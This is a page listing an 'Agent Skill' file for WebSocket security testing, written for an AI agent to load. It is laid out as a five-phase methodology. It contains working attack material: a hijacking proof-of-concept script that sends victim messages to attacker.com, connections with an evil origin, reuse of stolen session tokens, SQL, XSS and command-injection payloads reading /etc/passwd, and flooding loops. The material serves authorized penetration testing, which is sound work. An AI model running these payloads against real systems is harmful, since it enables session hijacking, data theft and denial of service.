OpenParable
Skip to content
← Back to skills

Attack Websocket

DevOps & Security
attack-websocket

Attack Websocket is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.

WebSocket security testing — CSWSH, message injection, auth bypass, origin validation

View on GitHub ↗
QUICK START

How to use this skill

Bring this guide into your coding agent with a prompt tailored to the tool you use.

  1. Open your project in Codex.
  2. Copy and paste the prompt below.
  3. Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-websocket/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-websocket, but wait for my approval before writing files or running scripts.

Copying this prompt does not install or run the skill. Review third-party files before use.

WebSocket Security Testing

Objective

Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.

Testing Methodology

Phase 1: Identify WebSocket Endpoints

# Look for WebSocket upgrade
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"

# Check common paths
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
  curl -s -D- "https://TARGET$path" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Version: 13" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
done

Phase 2: Cross-Site WebSocket Hijacking (CSWSH)

Check if Origin header is validated:

# Connect with evil origin
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"

# If connection succeeds with evil.com origin → CSWSH is possible

PoC HTML:

<script>
var ws = new WebSocket('wss://TARGET/ws');
ws.onmessage = function(e) {
  fetch('https://attacker.com/log?data=' + btoa(e.data));
};
ws.onopen = function() {
  ws.send(JSON.stringify({action: 'get_profile'}));
};
</script>

Phase 3: Authentication Testing

# Connect without auth token
websocat "wss://TARGET/ws"

# Test token reuse after logout
websocat -H "Cookie: session=EXPIRED_TOKEN" "wss://TARGET/ws"

# Connect with another user's token
websocat -H "Cookie: session=VICTIM_TOKEN" "wss://TARGET/ws"

Phase 4: Message Injection

# Test for SQL injection via WebSocket message
websocat "wss://TARGET/ws" <<< '{"action":"search","query":"test\" OR 1=1--"}'

# XSS via WebSocket message (if rendered in other clients)
websocat "wss://TARGET/ws" <<< '{"action":"chat","message":"<img src=x onerror=alert(1)>"}'

# Command injection
websocat "wss://TARGET/ws" <<< '{"action":"exec","cmd":"id; cat /etc/passwd"}'

Phase 5: Rate Limiting / DoS

# Rapid message sending
for i in $(seq 1 1000); do
  echo '{"action":"ping"}'
done | websocat "wss://TARGET/ws"

# Large message
python3 -c "print('{\"data\":\"' + 'A'*1000000 + '\"}')" | websocat "wss://TARGET/ws"

What Constitutes a Finding

FindingSeverity
CSWSH — cross-site WebSocket hijackingHigh (P2)
No authentication on WebSocketHigh (P2)
SQL/command injection via WS messageCritical (P1)
Stored XSS via WS messageHigh (P2)
Session not invalidated after logoutMedium (P3)

Evidence Requirements

  • WebSocket endpoint URL
  • Connection with evil Origin (for CSWSH)
  • Messages sent and received
  • Proof of unauthorized data access or injection

Tools

  • websocat (external) — WebSocket CLI client
  • Browser DevTools → Network → WS tab

References